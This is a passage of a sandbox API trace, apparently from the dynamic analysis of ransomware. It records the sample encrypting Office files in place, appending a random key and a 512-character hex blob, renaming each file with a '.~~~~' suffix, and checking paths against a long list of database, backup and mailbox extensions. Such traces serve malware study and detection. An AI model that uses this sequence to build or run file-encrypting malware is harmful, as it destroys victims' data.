	[0078.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.945] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6760 | out: hHeap=0x300000) returned 1
	[0078.945] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0078.945] GetLastError () returned 0x0
	[0078.945] GetLastError () returned 0x0
	[0078.945] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0078.945] GetLastError () returned 0x0
	[0078.945] GetLastError () returned 0x0
	[0078.946] ReadFile (in: hFile=0x130, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.951] WriteFile (in: hFile=0x130, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0078.953] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.953] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.955] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.955] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.955] CloseHandle (hObject=0x130) returned 1
	[0078.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.955] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.~~~~")) returned 1
	[0078.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0078.957] GetLastError () returned 0x0
	[0078.957] RtlWakeConditionVariable () returned 0x365f70
	[0078.957] GetCurrentThreadId () returned 0x9cc
	[0078.957] GetCurrentThreadId () returned 0x9cc
	[0078.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b62c8
	[0078.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6bf8 | out: hHeap=0x300000) returned 1
	[0078.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b330 | out: hHeap=0x300000) returned 1
	[0078.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6bf8
	[0078.957] lstrlenW (lpString=".scr") returned 4
	[0078.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".scr") returned 0x0
	[0078.958] lstrlenW (lpString=".cmd") returned 4
	[0078.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".cmd") returned 0x0
	[0078.958] lstrlenW (lpString=".dll") returned 4
	[0078.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".dll") returned 0x0
	[0078.958] lstrlenW (lpString=".bat") returned 4
	[0078.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".bat") returned 0x0
	[0078.958] lstrlenW (lpString=".cpl") returned 4
	[0078.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".cpl") returned 0x0
	[0078.958] lstrlenW (lpString=".sys") returned 4
	[0078.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".sys") returned 0x0
	[0078.959] lstrlenW (lpString=".msc") returned 4
	[0078.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".msc") returned 0x0
	[0078.959] lstrlenW (lpString=".com") returned 4
	[0078.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".com") returned 0x0
	[0078.959] lstrlenW (lpString=".lnk") returned 4
	[0078.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".lnk") returned 0x0
	[0078.959] lstrlenW (lpString=".msp") returned 4
	[0078.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".msp") returned 0x0
	[0078.959] lstrlenW (lpString=".pif") returned 4
	[0078.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".pif") returned 0x0
	[0078.959] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0078.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.960] lstrlenW (lpString=".sqb") returned 4
	[0078.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".sqb") returned 0x0
	[0078.960] lstrlenW (lpString=".ost") returned 4
	[0078.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".ost") returned 0x0
	[0078.960] lstrlenW (lpString=".txt") returned 4
	[0078.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".txt") returned 0x0
	[0078.960] lstrlenW (lpString=".mdt") returned 4
	[0078.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".mdt") returned 0x0
	[0078.960] lstrlenW (lpString=".BDB") returned 4
	[0078.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".BDB") returned 0x0
	[0078.960] lstrlenW (lpString=".eql") returned 4
	[0078.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".eql") returned 0x0
	[0078.961] lstrlenW (lpString=".DBF") returned 4
	[0078.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DBF") returned 0x0
	[0078.961] lstrlenW (lpString=".EQL") returned 4
	[0078.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".EQL") returned 0x0
	[0078.961] lstrlenW (lpString=".FDB") returned 4
	[0078.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".FDB") returned 0x0
	[0078.961] lstrlenW (lpString=".EDB") returned 4
	[0078.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".EDB") returned 0x0
	[0078.961] lstrlenW (lpString=".DACPAC") returned 7
	[0078.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0078.961] lstrlenW (lpString=".VHD") returned 4
	[0078.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".VHD") returned 0x0
	[0078.961] lstrlenW (lpString=".DBV") returned 4
	[0078.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DBV") returned 0x0
	[0078.961] lstrlenW (lpString=".dacpac") returned 7
	[0078.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0078.961] lstrlenW (lpString=".sdf") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".sdf") returned 0x0
	[0078.962] lstrlenW (lpString=".accdb") returned 6
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".accdb") returned 0x0
	[0078.962] lstrlenW (lpString=".DBX") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DBX") returned 0x0
	[0078.962] lstrlenW (lpString=".MDT") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".MDT") returned 0x0
	[0078.962] lstrlenW (lpString=".SQB") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".SQB") returned 0x0
	[0078.962] lstrlenW (lpString=".vhd") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".vhd") returned 0x0
	[0078.962] lstrlenW (lpString=".bac") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".bac") returned 0x0
	[0078.962] lstrlenW (lpString=".mdf") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".mdf") returned 0x0
	[0078.962] lstrlenW (lpString=".BAK") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".BAK") returned 0x0
	[0078.962] lstrlenW (lpString=".BAC") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".BAC") returned 0x0
	[0078.962] lstrlenW (lpString=".dbs") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".dbs") returned 0x0
	[0078.962] lstrlenW (lpString=".vhdx") returned 5
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0078.962] lstrlenW (lpString=".NDF") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".NDF") returned 0x0
	[0078.962] lstrlenW (lpString=".dat") returned 4
	[0078.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".dat") returned 0x0
	[0078.962] lstrlenW (lpString=".DBS") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DBS") returned 0x0
	[0078.963] lstrlenW (lpString=".CKP") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".CKP") returned 0x0
	[0078.963] lstrlenW (lpString=".edb") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".edb") returned 0x0
	[0078.963] lstrlenW (lpString=".PST") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".PST") returned 0x0
	[0078.963] lstrlenW (lpString=".dbf") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".dbf") returned 0x0
	[0078.963] lstrlenW (lpString=".SQL") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".SQL") returned 0x0
	[0078.963] lstrlenW (lpString=".pst") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".pst") returned 0x0
	[0078.963] lstrlenW (lpString=".dbv") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".dbv") returned 0x0
	[0078.963] lstrlenW (lpString=".SDF") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".SDF") returned 0x0
	[0078.963] lstrlenW (lpString=".dtxs") returned 5
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0078.963] lstrlenW (lpString=".db3") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".db3") returned 0x0
	[0078.963] lstrlenW (lpString=".OST") returned 4
	[0078.963] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".OST") returned 0x0
	[0078.963] lstrlenW (lpString=".dbx") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".dbx") returned 0x0
	[0078.964] lstrlenW (lpString=".DB3") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DB3") returned 0x0
	[0078.964] lstrlenW (lpString=".DAT") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DAT") returned 0x0
	[0078.964] lstrlenW (lpString=".VHDX") returned 5
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0078.964] lstrlenW (lpString=".ndf") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".ndf") returned 0x0
	[0078.964] lstrlenW (lpString=".DB") returned 3
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DB") returned 0x0
	[0078.964] lstrlenW (lpString=".sql") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".sql") returned 0x0
	[0078.964] lstrlenW (lpString=".MYD") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".MYD") returned 0x0
	[0078.964] lstrlenW (lpString=".DBT") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DBT") returned 0x0
	[0078.964] lstrlenW (lpString=".ACCDB") returned 6
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0078.964] lstrlenW (lpString=".fdb") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".fdb") returned 0x0
	[0078.964] lstrlenW (lpString=".bak") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".bak") returned 0x0
	[0078.964] lstrlenW (lpString=".myd") returned 4
	[0078.964] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".myd") returned 0x0
	[0078.965] lstrlenW (lpString=".DTXS") returned 5
	[0078.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0078.965] lstrlenW (lpString=".ckp") returned 4
	[0078.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".ckp") returned 0x0
	[0078.965] lstrlenW (lpString=".dbt") returned 4
	[0078.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".dbt") returned 0x0
	[0078.965] lstrlenW (lpString=".db") returned 3
	[0078.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".db") returned 0x0
	[0078.965] lstrlenW (lpString=".TXT") returned 4
	[0078.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".TXT") returned 0x0
	[0078.965] lstrlenW (lpString=".MDF") returned 4
	[0078.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".MDF") returned 0x0
	[0078.965] lstrlenW (lpString=".bdb") returned 4
	[0078.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".bdb") returned 0x0
	[0078.965] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.965] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0078.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.965] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0078.966] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.966] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0078.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0078.966] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19895661957) returned 1
	[0078.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x98f04ff0, dwHighDateTime=0x1d60e1e)) 
	[0078.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0078.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0078.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0078.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b330
	[0078.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b330 | out: hHeap=0x300000) returned 1
	[0078.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6aa8
	[0078.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6aa8 | out: hHeap=0x300000) returned 1
	[0078.967] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0078.967] GetLastError () returned 0x0
	[0078.968] GetLastError () returned 0x0
	[0078.968] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0078.968] GetLastError () returned 0x0
	[0078.968] GetLastError () returned 0x0
	[0078.968] ReadFile (in: hFile=0x130, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.034] WriteFile (in: hFile=0x130, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0079.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.059] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.137] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.137] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.137] CloseHandle (hObject=0x130) returned 1
	[0079.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0079.137] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.~~~~")) returned 1
	[0079.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0079.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0079.138] GetLastError () returned 0x0
	[0079.138] RtlWakeConditionVariable () returned 0x365f70
	[0079.138] GetCurrentThreadId () returned 0x9cc
	[0079.138] GetCurrentThreadId () returned 0x9cc
